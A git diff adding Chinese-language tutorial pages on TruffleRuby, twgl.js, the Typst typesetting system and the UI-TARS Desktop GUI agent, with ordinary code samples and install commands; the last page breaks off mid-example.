+### 示例 3：多语言互操作 — 在 Ruby 里调用 JavaScript
+
+前提是安装 JVM 版本的 TruffleRuby 并装了 GraalVM 的 JavaScript 语言：
+
+```ruby
+require 'polyglot'
+
+# 在 Ruby 里直接 eval 一段 JavaScript 代码
+greet = Polyglot.eval("js", "function(name) { return 'Hello, ' + name + '!'; }")
+
+# 把 Ruby 的字符串传给 JavaScript 函数
+message = greet.call("Jason")
+puts message  # 输出: Hello, Jason!
+```
+
+反过来，JavaScript 也可以用 Ruby 对象：
+
+```ruby
+ruby_greeting = "你好，世界！"
+Polyglot.export("greeting", ruby_greeting)
+
+js_result = Polyglot.eval("js", "greeting + ' 欢迎来到 TruffleRuby'")
+puts js_result  # 输出: 你好，世界！ 欢迎来到 TruffleRuby
+```
+
+### 示例 4：访问 Java 类
+
+```ruby
+# 获取 Java 的 String 类
+StringClass = Java.type('java.lang.String')
+
+# 创建 Java 字符串
+java_str = StringClass.new('Hello from Java!')
+
+# 调用 Java 方法
+puts java_str.length   # 输出: 16
+puts java_str.toUpperCase  # 输出: HELLO FROM JAVA!
+
+# 反过来，Ruby 对象也能传给 Java
+java_list = Java.type('java.util.ArrayList').new
+ruby_array = [1, 2, 3]
+ruby_array.each { |n| java_list.add(n) }
+puts java_list  # 输出: [1, 2, 3]
+```
+
+## 性能对比的直观理解
+
+如果把 MRI Ruby 比作一辆家用轿车的日常驾驶表现：
+
+- MRI：日常够用，但在 CPU 密集型计算（大量数学运算、循环）上比较慢
+- TruffleRuby：在 yjit-bench 等基准测试中，TruffleRuby 远超 MRI、JRuby，是目前最快的 Ruby 实现
+- 代价：需要"预热"（warmup），跑一段时间后才达到最佳性能，就像涡轮增压发动机需要转速上来才最有劲儿
+
+## 安装方式
+
+最推荐的方式是用 Ruby 版本管理器（rbenv、asdf、mise 等）：
+
+```bash
+# 使用 rbenv 安装 Native 版本
+rbenv install truffleruby-34.0.0
+rbenv global truffleruby-34.0.0
+
+# 使用 rbenv 安装 JVM 版本（支持多语言）
+rbenv install truffleruby+graalvm-34.0.0
+
+# 验证
+ruby --version
+# => truffleruby 34.0.0 (graalvm 25.0.x, native, llvm 23.0.0-dev)
+```
+
+也可以用 Docker：
+
+```bash
+docker pull ghcr.io/truffleruby/truffleruby:latest
+docker run --rm ghcr.io/truffleruby/truffleruby:latest ruby -e 'puts "Hello from TruffleRuby!"'
+```
+
+## 兼容性现状
+
+- 通过约 98% 的 ruby/spec 测试，高于所有其他替代实现
+- 能跑 Rails，支持大多数 gem（包括 C 扩展）
+- 不完全兼容 CRuby 4.0（官方声明）
+- 大多数场景下可以当作 MRI 的"无缝替换"
+
+## 你需要知道的限制
+
+- Native 版本不支持安装额外语言（如 JavaScript、Python 多语言互通），要用的话必须选 JVM 版本
+- JVM 版本启动速度比 Native 和 MRI 都慢
+- 部分 C 扩展可能需要适配
+- 如果你只需要纯粹的 Ruby 运行环境、不在乎多语言互通，MRI + YJIT 可能更简单
+
+## 总结
+
+TruffleRuby 的核心价值一句话概括：**用完全不同的底层技术栈实现 Ruby，同时保持 Ruby 代码 100% 不变，带来更快的执行速度和多语言互通能力。**
+
+| 特性 | MRI | TruffleRuby (Native) | TruffleRuby (JVM) |
+|------|-----|---------------------|-------------------|
+| 启动速度 | 最快 | 接近最快 | 较慢 |
+| 峰值性能 | 中等 | 很高 | 最高 |
+| 多线程 | 有 GIL 锁 | 无 GIL | 无 GIL |
+| 多语言互通 | 无 | 有限 | 完整 |
+| C 扩展兼容 | 完整 | 良好 | 良好 |
+| ruby/spec 通过率 | 100% | ~98% | ~98% |
+
+适合的场景：
+- 计算密集型任务需要更高性能
+- 需要 Ruby 和 Java / Python / JavaScript 混合编程
+- 想在不改代码的情况下获得更快的 Ruby 运行速度
+- CI/CD 中需要多线程并行执行 Ruby 测试
diff --git a/src/content/docs/projects/twgl.md b/src/content/docs/projects/twgl.md
new file mode 100644
index 000000000..ddf6cf650
--- /dev/null
+++ b/src/content/docs/projects/twgl.md
@@ -0,0 +1,324 @@
+---
+title: twgl.js — 把 WebGL 样板代码压成几行 helper 的微型工具库
+来源: greggman/twgl.js
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+难度: 高级
+provenance: pipeline-v3
+---
+
+## 日常类比：TWGL 是「WebGL 专用瑞士军刀」，不是整间厨房
+
+原生 WebGL 像第一次进专业暗房：你要自己配显影液、调曝光、挂胶片、对位放大机——每一步都依赖上一步，顺序错一点整卷胶片就废。  
+**TWGL**（Tiny WebGL Library，发音近似 *wiggle*）则是暗房老师傅塞给你的一排**预置工具**：裁切器、定影槽、计时器都标好了刻度，你只负责决定「今天冲什么片」。
+
+它**不是** Three.js 那种「整间带菜单的 3D 餐厅」，也**不替你写 GLSL 或管理场景图**。作者 [Gregg Tavares（greggman）](https://github.com/greggman/twgl.js) 在 README 里写得很直白：唯一目标就是 **make using the WebGL API less verbose**——少写重复样板，把精力留给着色器和算法。
+
+| 维度 | 数据 |
+|---|---|
+| GitHub | [greggman/twgl.js](https://github.com/greggman/twgl.js) |
+| 官网 / 文档 | [twgljs.org](https://twgljs.org/) |
+| 协议 | MIT |
+| 依赖 | 零 npm 依赖（可 `<script>` 直引或 ES module） |
+| 定位 | WebGL 1/2 的**薄 helper**，不是 3D 引擎 |
+| 典型用户 | 跟着 [WebGL Fundamentals](https://webglfundamentals.org/) 学图形的人、数据 viz、自定义 shader 实验 |
+
+---
+
+## 解决什么问题：WebGL 样板代码消除
+
+WebGL 是**显式、有状态、极其啰嗦**的底层 API。画一个带纹理的旋转立方体，原生代码通常要反复做这些事：
+
+1. 编译 / 链接着色器，查 uniform / attribute 位置  
+2. `createBuffer` → `bindBuffer` → `bufferData`  
+3. 对每个 attribute 调 `enableVertexAttribArray` + `vertexAttribPointer`  
+4. 上传纹理、设置 `activeTexture` / `bindTexture` / `uniform1i`  
+5. 改 uniform 时自己查类型、调 `uniformMatrix4fv` 等  
+6. 处理 canvas 物理像素与 CSS 尺寸不一致（Retina）
+
+这些步骤**没有一条是「业务逻辑」**，却是每个 demo 都要复制粘贴的噪音。TWGL 把高频模式封装成几个 **Info 对象 + setter 函数**，让你用普通 JavaScript 对象描述数据，而不是和 GL 状态机搏斗。
+
+官方示例里，一个最小三角形循环大致是：
+
+```javascript
+const programInfo = twgl.createProgramInfo(gl, [vsSource, fsSource]);
+const bufferInfo = twgl.createBufferInfoFromArrays(gl, arrays);
+
+gl.useProgram(programInfo.program);
+twgl.setBuffersAndAttributes(gl, programInfo, bufferInfo);
+twgl.setUniforms(programInfo, { time, resolution });
+twgl.drawBufferInfo(gl, bufferInfo);
+```
+
+对比原生 WebGL 同一流程往往 **80～150 行**（还不含错误处理和扩展检测），TWGL 把「绑定 + 设置」收成 **4～5 个函数调用**。
+
+---
+
+## 核心概念
+
+### 1. Program / ProgramInfo — 着色器 + 自动 setter
+
+`twgl.createProgramInfo(gl, shaderSources)` 做四件事：
+
+- 编译并链接着色器（等价于 `createShader` / `compileShader` / `createProgram` / `linkProgram`）  
+- 扫描 active attributes / uniforms，生成 **按名字索引的 setter**  
+- 可选绑定 attribute 到指定 location（`opt_attribs` / `opt_locations`）  
+- 返回 `{ program, attribSetters, uniformSetters }` 供后续使用  
+
+之后改 uniform 不再手写：
+
+```javascript
+// 原生：gl.uniformMatrix4fv(loc, false, matrix);
+// TWGL：
+twgl.setUniforms(programInfo, {
+  u_matrix: matrix,
+  u_color: [1, 0, 0, 1],
+  u_diffuse: diffuseTexture,  // 纹理会自动 bind + uniform1i
+});
+```
+
+**关键设计**：`setUniforms` 接受**嵌套 plain object**，按 uniform 名字批量赋值；sampler2D 可以直接传 `WebGLTexture`，库会负责 `activeTexture` 与 unit 分配。
+
+### 2. Buffer / BufferInfo — 顶点数据一站式
+
+`twgl.createBufferInfoFromArrays(gl, arrays)` 把「JavaScript 数组」变成 GPU 可用的 **BufferInfo**：
+
+```javascript
+const arrays = {
+  position: [x1,y1,z1, x2,y2,z2, ...],
+  normal:   [...],
+  texcoord: [...],
+  indices:  [0,1,2, 0,2,3],  // 可选
+};
+const bufferInfo = twgl.createBufferInfoFromArrays(gl, arrays);
+```
+
+返回结构（简化）：
+
+- `numElements` — 绘制顶点 / 索引数量  
+- `attribs` — 每个 attribute 的 `{ buffer, numComponents, type, ... }`  
+- `indices` — 若有索引则含 `WebGLBuffer`  
+
+绘制时 `twgl.setBuffersAndAttributes(gl, programInfo, bufferInfo)` 一次性 bind buffer 并 `vertexAttribPointer`；`twgl.drawBufferInfo(gl, bufferInfo)` 内部选择 `drawArrays` 或 `drawElements`。
+
+**primitives 模块**还提供 `createCubeBufferInfo`、`createSphereBufferInfo` 等几何体工厂——适合 tutorial 和 debug（官方文档强调：复杂网格仍应用 glTF / 建模工具）。
+
+### 3. Texture helpers — 声明式贴图加载
+
+`twgl.createTextures(gl, options)` 用**对象字面量**批量创建纹理，键名即变量名：
+
+```javascript
+const textures = twgl.createTextures(gl, {
+  logo: { src: 'logo.png' },
+  checker: {
+    mag: gl.NEAREST,
+    min: gl.LINEAR,
+    src: [255,255,255,255, 192,192,192,255, ...],
+    width: 2,
+    height: 2,
+  },
+  skybox: {
+    target: gl.TEXTURE_CUBE_MAP,
+    src: ['posx.jpg', 'negx.jpg', ...],
+  },
+});
+// textures.logo → WebGLTexture
+```
+
+能力包括：URL / `<img>` / `<canvas>` / 像素数组 / 立方体贴图（单图 1×6、2×3 等布局自动切分）、非 2 幂纹理、异步加载回调或 `createTexturesAsync` Promise API。  
+在 `setUniforms` 里把 `WebGLTexture` 赋给 sampler uniform 即可，无需手动记 texture unit。
+
+### 4. 其他常用 helper（知道名字即可）
+
+| API | 作用 |
+|---|---|
+| `twgl.resizeCanvasToDisplaySize(canvas)` | 按 `devicePixelRatio` 修正 canvas  backing store |
+| `twgl.createFramebufferInfo` | FBO + color/depth attachment 一次建好 |
+| `twgl.createVertexArrayInfo` | WebGL2 VAO 封装 |
+| `twgl.setUniformBlock` | UBO 绑定（WebGL2） |
+| `twgl.addExtensionsToContext` | 把扩展函数挂到 `gl` 上，减少 `getExtension` 分支 |
+
+---
+
+## 代码示例 1：最小可运行三角形
+
+HTML 里引入 TWGL（CDN 或 bundler 均可），核心逻辑：
+
+```html
+<canvas id="c"></canvas>
+<script src="https://twgljs.org/dist/4.x/twgl-full.min.js"></script>
+<script>
+  const gl = document.querySelector('#c').getContext('webgl');
+  if (!gl) throw new Error('WebGL not supported');
+
+  const vs = `
+    attribute vec4 position;
+    void main() { gl_Position = position; }
+  `;
+  const fs = `
+    precision mediump float;
+    void main() { gl_FragColor = vec4(0.2, 0.6, 1.0, 1.0); }
+  `;
+
+  const programInfo = twgl.createProgramInfo(gl, [vs, fs]);
+  const arrays = {
+    position: [-1, -1, 0,  1, -1, 0,  -1, 1, 0,
+               -1,  1, 0,  1, -1, 0,   1, 1, 0],
+  };
+  const bufferInfo = twgl.createBufferInfoFromArrays(gl, arrays);
+
+  function render(time) {
+    twgl.resizeCanvasToDisplaySize(gl.canvas);
+    gl.viewport(0, 0, gl.canvas.width, gl.canvas.height);
+    gl.clearColor(0.1, 0.1, 0.12, 1);
+    gl.clear(gl.COLOR_BUFFER_BIT);
+
+    gl.useProgram(programInfo.program);
+    twgl.setBuffersAndAttributes(gl, programInfo, bufferInfo);
+    twgl.setUniforms(programInfo, {
+      time: time * 0.001,
+    });
+    twgl.drawBufferInfo(gl, bufferInfo);
+
+    requestAnimationFrame(render);
+  }
+  requestAnimationFrame(render);
+</script>
+```
+
+**读法**：`arrays.position` 每 3 个数是一个顶点；没有 `indices` 时用 `drawArrays`；`resizeCanvasToDisplaySize` 解决模糊 canvas 问题——这两行是教程里最容易被新手忽略的坑。
+
+---
+
+## 代码示例 2：纹理立方体 + 矩阵 uniform
+
+```javascript
+const programInfo = twgl.createProgramInfo(gl, [vs, fs]);
+const textures = twgl.createTextures(gl, {
+  diffuse: { src: 'crate.jpg' },
+});
+const bufferInfo = twgl.primitives.createCubeBufferInfo(gl, 2);
+
+const m4 = twgl.m4;  // 可选：TWGL 自带轻量矩阵库
+
+function render(time) {
+  twgl.resizeCanvasToDisplaySize(gl.canvas);
+  gl.viewport(0, 0, gl.canvas.width, gl.canvas.height);
+  gl.enable(gl.DEPTH_TEST);
+
+  const fov = (60 * Math.PI) / 180;
+  const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight;
+  const projection = m4.perspective(fov, aspect, 0.1, 100);
+  const camera = m4.lookAt([4, 4, 6], [0, 0, 0], [0, 1, 0]);
+  const view = m4.inverse(camera);
+  const world = m4.rotationY(time * 0.001);
+
+  gl.useProgram(programInfo.program);
+  twgl.setBuffersAndAttributes(gl, programInfo, bufferInfo);
+  twgl.setUniforms(programInfo, {
+    u_projection: projection,
+    u_view: view,
+    u_world: world,
+    u_diffuse: textures.diffuse,
+  });
+  twgl.drawBufferInfo(gl, bufferInfo);
+  requestAnimationFrame(render);
+}
+```
+
+这里 TWGL 的价值在于：**立方体几何、纹理上传、uniform/texture 绑定**都 declarative；你仍要自己写 `vs`/`fs` 里的 `u_projection * u_view * u_world`——这正是库的设计边界。
+
+---
+
+## 与 Raw WebGL / Three.js 对比
+
+| 维度 | Raw WebGL | TWGL.js | Three.js |
+|---|---|---|---|
+| 抽象层级 | 无，直接操作 GL 状态机 | 薄 helper，仍是「手写场景循环」 | 高：Scene / Camera / Mesh / Renderer |
+| 样板代码 | 极多，易错 | 显著减少 bind/set 代码 | 极少（`new Mesh` 即可） |
+| GLSL | 完全自己写 | 完全自己写 | 可写 ShaderMaterial，也有内置材质 |
+| 场景图 / 光照 / 加载器 | 自己实现 | 自己实现 | 内置丰富生态 |
+| 包体积 | 0 | 很小（~几十 KB 量级 full build） | 较大（模块化后仍明显高于 TWGL） |
+| 学习路径 | 最硬核，理解最深 | 适合 **WebGL Fundamentals 系** 教程 | 快速出 3D 原型，底层原理需另补 |
+| 典型场景 | 引擎开发、极致定制 | 教学、数据 viz、shader 实验、轻量 demo | 产品级 3D、VR、大量现成控件 |
+
+**和 [regl](/projects/regl/) 的横向差异**（同类 WebGL 薄封装）：
+
+- **regl** 用「命令对象 + prop/context 懒求值」做**函数式、无状态**绘制；适合 Observable notebook、批量 draw。  
+- **TWGL** 用 **ProgramInfo / BufferInfo** 对象 + imperative 调用；和 greggman 的 WebGL 教程风格一致，入门者读官方示例更顺。  
+- 两者都**不**提供场景图；选谁多半是代码风格偏好，而非能力鸿沟。
+
+**何时选 TWGL**：
+
+- 你在跟 [webglfundamentals.org](https://webglfundamentals.org/) 或 [webgl2fundamentals.org](https://webgl2fundamentals.org/) 学习，想少写 glue code  
+- 需要 **完全掌控** draw call 与 shader，但不想复制粘贴 hundred-line boilerplate  
+- 项目只需要几个自定义 pass（后处理、场可视化、GPGPU ping-pong），不值得引入 Three.js  
+
+**何时别选 TWGL**：
+
+- 要 glTF 角色、物理、阴影管线、编辑器——直接用 Three.js / Babylon.js  
+- 团队没人愿意写 GLSL——高阶引擎更合适  
+- 需要 React 声明式 3D——考虑 `@react-three/fiber`，不是 TWGL 的主战场  
+
+---
+
+## 安装与项目结构
+
+```bash
+npm install twgl.js
+```
+
+```javascript
+// ESM
+import * as twgl from 'twgl.js';
+
+// 或只要子模块
+import * as twgl from 'twgl.js/dist/4.x/twgl-full.module.js';
+```
+
+仓库按职责拆分模块（文档在 [twgljs.org/docs](https://twgljs.org/docs/module-twgl.html)）：
+
+- `twgl/programs` — 编译、ProgramInfo、setUniforms  
+- `twgl/attributes` — BufferInfo、VAO  
+- `twgl/textures` — createTextures、resize、format 推断  
+- `twgl/framebuffers` — FBO 附件  
+- `twgl/primitives` — 立方体、球、平面等  
+- `twgl/m4` / `twgl/v3` — 可选数学库，不强制使用  
+
+---
+
+## 学习路线建议（零基础 → 能写 demo）
+
+1. **先补 WebGL 概念**：顶点着色器 / 片元着色器、attribute vs uniform、NDC 坐标、纹理采样——否则 TWGL 只是少写字，不懂在干什么。  
+2. **跟官方首页示例**跑通三角形 → 立方体 → 纹理（本站示例 1、2 即对应这条线）。  
+3. **读 `createProgramInfo` 生成的 setter**：打开 devtools 看 `programInfo.uniformSetters` 有哪些 key，和 GLSL 里的名字对齐。  
+4. **练 FBO**：用 `createFramebufferInfo` 做 render-to-texture / 后处理 pass。  
+5. **再决定是否上 Three.js**：当你感到「相机、资源管理、动画混合」自己在重复造轮子，就是换引擎的信号。  
+
+---
+
+## 常见坑
+
+1. **attribute 名字必须和 GLSL 一致**——`createBufferInfoFromArrays` 的 key 默认直接映射 shader attribute 名（可用 `setAttributePrefix` 改前缀）。  
+2. **矩阵列主序**——`setUniforms` 传 `Float32Array` 或嵌套数组时，遵循 WebGL 的 column-major 约定；用 `twgl.m4` 可减少手误。  
+3. **纹理异步**——URL 纹理加载完成前可能是 1×1 占位色；生产环境用 `createTextures` 的 callback 或 `createTexturesAsync` 再开始 render loop。  
+4. **WebGL1 vs WebGL2**——部分 API（VAO、UBO、3D texture）仅 WebGL2；上下文创建时就要决定 `webgl2`。  
+5. **TWGL 不检查你的 draw 顺序**——深度测试、blend、cull face 仍要你自己 `gl.enable`；库只简化 bind/set。  
+
+---
+
+## 小结
+
+TWGL.js 在 WebGL 生态里占一个极窄但实用的位置：**消除样板代码，不消除图形学**。它把 program / buffer / texture 三大块重复劳动封装成 `ProgramInfo`、`BufferInfo` 和 `createTextures`，让你用普通对象描述 GPU 数据；与 raw WebGL 比，代码量通常能砍半以上；与 Three.js 比，它刻意保持「你仍然拥有整个 GL 上下文」的掌控感。
+
+如果你正在学 GPU 图形、又厌倦了复制粘贴 `bindBuffer`——TWGL 值得放在工具栏里；如果你要一周上线一个 3D 产品页——请直接换更完整的引擎，这不是 TWGL 要解决的问题。
+
+---
+
+## 参考链接
+
+- 官网与 live examples：[https://twgljs.org/](https://twgljs.org/)  
+- API 文档：[https://twgljs.org/docs/module-twgl.html](https://twgljs.org/docs/module-twgl.html)  
+- 源码与 README：[https://github.com/greggman/twgl.js](https://github.com/greggman/twgl.js)  
+- 配套教程：[WebGL Fundamentals](https://webglfundamentals.org/) / [WebGL2 Fundamentals](https://webgl2fundamentals.org/)  
diff --git a/src/content/docs/projects/typst-typesetting.md b/src/content/docs/projects/typst-typesetting.md
new file mode 100644
index 000000000..287912d93
--- /dev/null
+++ b/src/content/docs/projects/typst-typesetting.md
@@ -0,0 +1,257 @@
+---
+title: Typst 排版系统入门
+来源: https://github.com/typst/typst
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+# Typst 排版系统入门
+
+## 一、Typst 是什么
+
+想象一下：你要写一份报告，里面既有文字、表格，又有复杂的数学公式。你有三个选择：
+
+1. 用 Word —— 拖拽排版，公式编辑器像在玩俄罗斯方块
+2. 用 LaTeX —— 功能强大但学起来像学一门新语言，出错信息天书一样
+3. 用 Typst —— 用简单的标记语言写，但功能不输 LaTeX，出错信息像朋友在帮你
+
+Typst 是一个现代化的、基于标记语言的排版系统。它的设计目标是：**拥有 LaTeX 的能力，同时让新手也能快速上手。**
+
+它由 Typst GmbH 公司开发，用 Rust 语言编写，目前 GitHub 已有超过 5 万颗星。
+
+> 发音提示：/taɪpst/，"Ty" 像 Typesetting，"pst" 像 Hipster。
+
+## 二、核心概念
+
+Typst 的核心由四大部分组成：
+
+### 1. 标记语法（Markup）
+
+和 Markdown 类似，但更丰富。例如：
+
+- 用 `=` 开头的一行创建标题
+- 用 `**粗体**` 和 `*斜体*` 标记文字
+- 用 `[]()` 插入链接
+- 用 `![]()` 插入图片
+
+### 2. 设置规则（Set Rules）
+
+这是 Typst 最优雅的设计之一。你想改变标题编号的样式、页面大小、字体？只需一行设置：
+
+```typst
+#set page(width: A4, height: auto)
+#set heading(numbering: "1.")
+```
+
+这行代码的意思就像："告诉文档，页面用 A4 大小，标题编号用 1、2、3 的样式。"
+
+### 3. 脚本系统（Scripting）
+
+Typst 内嵌了一个完整的脚本语言。用 `#` 开头就可以写代码，变量、函数、循环全部支持。这让文档变成可编程的 —— 你可以让 Typst 自动生成表格、计算斐波那契数列、循环生成列表。
+
+### 4. 数学排版（Math）
+
+用 `$` 包裹数学公式。和 LaTeX 不同，Typst 不需要反斜杠：
+
+```typst
+$ E = mc^2 $
+$ sum_(i=1)^n i = n(n+1)/2 $
+```
+
+多字母函数名（如 `sin`, `cos`, `log`）不需要加引号，Typst 会自动识别。
+
+## 三、第一个 Typst 文档
+
+让我们从头写一个完整的文档，逐步理解每个部分。
+
+### 示例 1：一个完整的学术报告模板
+
+```typst
+// 设置页面和全局样式
+#set page(
+  width: A4,
+  height: auto,
+  margin: (top: 2.5cm, bottom: 2cm, left: 2.5cm, right: 2.5cm)
+)
+#set text(font: "Source Han Serif SC", size: 11pt)
+#set heading(
+  numbering: "1.",
+  label: "section",
+  style: strong => strong(color: rgb("#1a5276"))
+)
+
+// 文档标题和作者信息
+#title[基于 Typst 的自动化报告生成]
+#author[张三]
+#date(auto)
+
+// 摘要
+#v(2em)
+#embed[abstract.typ]
+
+// 正文开始
+= 引言
+
+排版系统的发展经历了几个阶段：早期的打字机，后来的 WYSIWYG 编辑器（如 Word），再到专业的 LaTeX。每一种工具都在解决特定问题，但也都存在自己的短板。
+
+**Typst** 的出现，试图在易用性和功能之间找到更好的平衡。
+
+= 核心特性
+
+Typst 有四个关键特性，让它区别于传统排版工具：
+
+- **增量编译**：修改文档后，Typst 只重新编译变动的部分。大文档的编译速度从几秒缩短到几十毫秒。
+- **内嵌脚本**：可以在文档中直接写代码，实现数据驱动的报告。
+- **原生数学**：用 `$` 包裹公式，语法比 LaTeX 更简洁直观。
+- **扩展生态**：通过 [Typst Universe](https://typst.app/universe/) 社区分享模板和包。
+
+= 数学公式示例
+
+下面展示 Typst 的数学排版能力。单行公式：
+
+$ E = mc^2 $
+
+独立块的复杂公式：
+
+$ f(x) = int_-oo^oo hat f(xi) e^(2 pi i xi x) d xi $
+
+= 结论
+
+Typst 是一个值得关注的现代排版工具，特别适合：
+
+1. 需要频繁更新的数据报告
+2. 包含大量数学公式的学术论文
+3. 需要统一风格的多文档项目
+
+#v(3em)
+// 参考资料
+#ref(bib, "Smith2024") 展示了类似的设计思路 [^1]
+
+[^1]: 更多关于 Typst 的资料请参考其 [官方文档](https://typst.app/docs/)。
+
+```
+
+**逐行解释：**
+
+- `#set page(...)`：设置页面为 A4，高度自动适应内容，设置四边距
+- `#set text(...)`：全局设置字体和字号
+- `#set heading(...)`：设置标题编号为 "1." 格式，标题加粗时显示深蓝色
+- `#title[...]`：定义文档主标题
+- `#author[...]`：定义作者
+- `#date(auto)`：自动生成当前日期
+- `#v(2em)`：插入垂直间距
+- `= 引言`：一级标题（一个 `=` 是一级，两个 `==` 是二级，以此类推）
+- `**粗体**`：加粗文字
+- `$ E = mc^2 $`：行内数学公式
+- `[^1]: ...`：脚注
+
+### 示例 2：用脚本自动生成表格
+
+Typst 最强大的特性之一是内嵌脚本。下面这个例子展示了如何用代码生成斐波那契数列表格：
+
+```typst
+#set page(width: 10cm, height: auto)
+
+= Fibonacci 数列
+
+Fibonacci 数列的递推关系为：
+
+$ F_n = F_(n-1) + F_(n-2) $
+
+它的闭式解为：
+
+$ F_n = round(1 / sqrt(5) phi.alt^n), quad
+  phi.alt = (1 + sqrt(5)) / 2 $
+
+// 用脚本定义变量和函数
+#let count = 8
+#let nums = range(1, count + 1)
+#let fib(n) = (
+  if n <= 2 { 1 }
+  else { fib(n - 1) + fib(n - 2) }
+)
+
+上面的前 #count 项为：
+
+// 用 spread 操作符将数组展开为表格参数
+#align(center, table(
+  columns: count,
+  ..nums.map(n => $F_#n$),
+  ..nums.map(n => str(fib(n))),
+))
+```
+
+**关键概念解析：**
+
+| 代码片段 | 含义 |
+|---|---|
+| `#let count = 8` | 定义一个变量 count，值为 8 |
+| `#range(1, count + 1)` | 生成数组 [1, 2, 3, ..., 8] |
+| `#let fib(n) = (...)` | 定义一个递归函数，计算斐波那契数列第 n 项 |
+| `..nums.map(n => $F_#n$)` | 展开数组，每个元素变成 $F_1, $F_2, ... 这样的数学表达式 |
+| `#align(center, table(...))` | 将表格居中对齐 |
+
+这个例子展示了 Typst 的核心理念：**通过可组合的系统实现强大功能**，而不是提供一堆散乱的按钮。你只需要几个基本的"旋钮"（变量、函数、数组、表格），就可以组合出无数种文档结构。
+
+## 四、Typst vs LaTeX vs Markdown
+
+| 特性 | Markdown | LaTeX | Typst |
+|---|---|---|---|
+| 学习曲线 | 简单 | 陡峭 | 简单 |
+| 数学排版 | 弱 | 强 | 强（更简洁的语法） |
+| 编译速度 | 不需要 | 慢（大文档） | 极快（增量编译） |
+| 脚本能力 | 无 | TeX 宏（难学） | 内置脚本语言 |
+| 出错信息 | - | 难懂 | 友好，会标注出错位置 |
+| 输出格式 | HTML | PDF | PDF, HTML, PNG, SVG |
+| 安装包大小 | - | 几 GB | 单文件，几十 MB |
+| 跨平台 | 任意 | 任意 | 任意 |
+
+## 五、快速上手步骤
+
+### 安装
+
+```bash
+# macOS（Homebrew）
+brew install typst
+
+# 或者用 cargo 安装最新版
+cargo install --locked typst-cli
+
+# 或者用包管理器
+winget install --id Typst.Typst  # Windows
+```
+
+### 编译文档
+
+```bash
+# 编译为 PDF
+typst compile hello.typ
+
+# 监听文件变化，自动编译（开发时推荐）
+typst watch hello.typ
+```
+
+### 在线编辑器
+
+Typst 官方提供免费在线编辑器：https://typst.app/，带有自动补全、实时预览和语法高亮。
+
+## 六、学习资源
+
+- [官方教程](https://typst.app/docs/tutorial/)：四章循序渐进的实践指南
+- [完整参考文档](https://typst.app/docs/reference/)：覆盖所有语法和函数
+- [Typst Universe](https://typst.app/universe/)：社区模板和包
+- [GitHub 仓库](https://github.com/typst/typst)：源代码和 Issue
+- [Discord 社区](https://discord.gg/2uDybryKPe)：快速提问
+- [论坛](https://forum.typst.app)：深入讨论和分享作品
+
+## 七、总结
+
+Typst 的核心设计哲学可以概括为三句话：
+
+1. **一致性带来简洁**：学会一种方法，就能举一反三
+2. **可组合性带来强大**：少量基本构件，组合出无限可能
+3. **增量编译带来性能**：只重新编译变动的部分
+
+对于一个零基础的学习者来说，Typst 是最友好的专业排版工具 —— 它不需要你掌握 TeX 这种"元语言"，也不需要折腾几 GB 的 LaTeX 发行版。写一个 `.typ` 文件，运行一行命令，就能得到精美的 PDF。
diff --git a/src/content/docs/projects/ui-tars-desktop.md b/src/content/docs/projects/ui-tars-desktop.md
new file mode 100644
index 000000000..4ef37d0e2
--- /dev/null
+++ b/src/content/docs/projects/ui-tars-desktop.md
@@ -0,0 +1,301 @@
+---
+title: UI-TARS Desktop — 让 AI 像人一样操作电脑
+来源: https://github.com/bytedance/UI-TARS-desktop
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# UI-TARS Desktop — 让 AI 像人一样操作电脑
+
+## 一、从"教机器人做家务"说起
+
+想象一下，你有一个住在电脑里的机器人助手。你跟它说："帮我把 VS Code 的自动保存打开，延迟设为 500 毫秒。"
+
+传统的自动化脚本（比如录制回放）就像是一个只会死记硬背的人——你录一遍动作，它就严格按顺序执行一遍。如果你换了台分辨率不同的电脑，或者界面稍微变了，它就不会了。
+
+UI-TARS Desktop 的机器人助手不一样。它能**看到**你的屏幕——就像你坐在旁边看着一样。它先截一张屏幕截图，用眼睛"看懂"界面上有哪些按钮、文字在哪里，然后决定下一步点哪里、敲什么键盘。这背后的"眼睛和大脑"就是一个叫 **UI-TARS** 的视觉语言模型（Vision-Language Model）。
+
+简单说：
+
+- **眼睛**：截取当前屏幕截图
+- **大脑**：视觉语言模型分析截图，理解界面上的元素
+- **手**：模拟鼠标点击、键盘输入，执行操作
+
+## 二、核心概念
+
+### 2.1 GUI Agent（图形用户界面智能体）
+
+GUI Agent 是一种能"看屏幕、做操作"的 AI 程序。它的工作流程是一个不断循环的过程：
+
+```
+截图 → 模型分析 → 决定动作 → 执行动作 → 再截图 → ……
+```
+
+每一步都在问自己："我现在看到的界面告诉我下一步该做什么？"直到任务完成或达到最大循环次数为止。
+
+### 2.2 Operator（操作器）
+
+Operator 就是机器人的"手"。它负责两件事：
+
+1. **截图**（screenshot）：把当前屏幕变成一张图片
+2. **执行**（execute）：根据模型的指令去点鼠标、敲键盘、滚动页面
+
+项目内置了几种 Operator：
+
+| Operator | 作用 |
+|---|---|
+| NutJSOperator | 控制本地电脑的鼠标和键盘 |
+| WebOperator | 控制浏览器（通过 DOM 或视觉） |
+| RemoteComputerOperator | 远程控制另一台电脑 |
+| RemoteBrowserOperator | 远程操控浏览器 |
+
+你可以把它理解为：Operator 是"手脚"，模型是"大脑"，两者通过一个标准接口配合。
+
+### 2.3 视觉语言模型（VLM）
+
+UI-TARS 模型接收三样东西：
+
+1. **用户的指令**（比如"帮我订酒店"）
+2. **当前屏幕截图**（最多最近 5 张）
+3. **可用的动作列表**（Action Spaces，告诉模型它能做什么操作）
+
+然后模型输出一句话，比如：
+
+```
+click(start_box='(27,496)')
+```
+
+意思是"在坐标 (27, 496) 的位置点击"。
+
+### 2.4 Agent TARS vs UI-TARS Desktop
+
+这个项目其实包含两个产品：
+
+- **Agent TARS**：更通用的 AI Agent 框架，支持命令行（CLI）、Web UI，可以结合 MCP 工具链做复杂任务（订票、画图等）
+- **UI-TARS Desktop**：专注于桌面 GUI 操作的独立应用程序，开箱即用
+
+## 三、代码示例
+
+### 示例 1：用 SDK 创建一个桌面 GUI Agent
+
+这是最基础的用法。安装 `@ui-tars/sdk` 后，只需十几行代码就能让 AI 操作你的电脑：
+
+```typescript
+import { GUIAgent } from '@ui-tars/sdk';
+import { NutJSOperator } from '@ui-tars/operator-nut-js';
+
+const guiAgent = new GUIAgent({
+  model: {
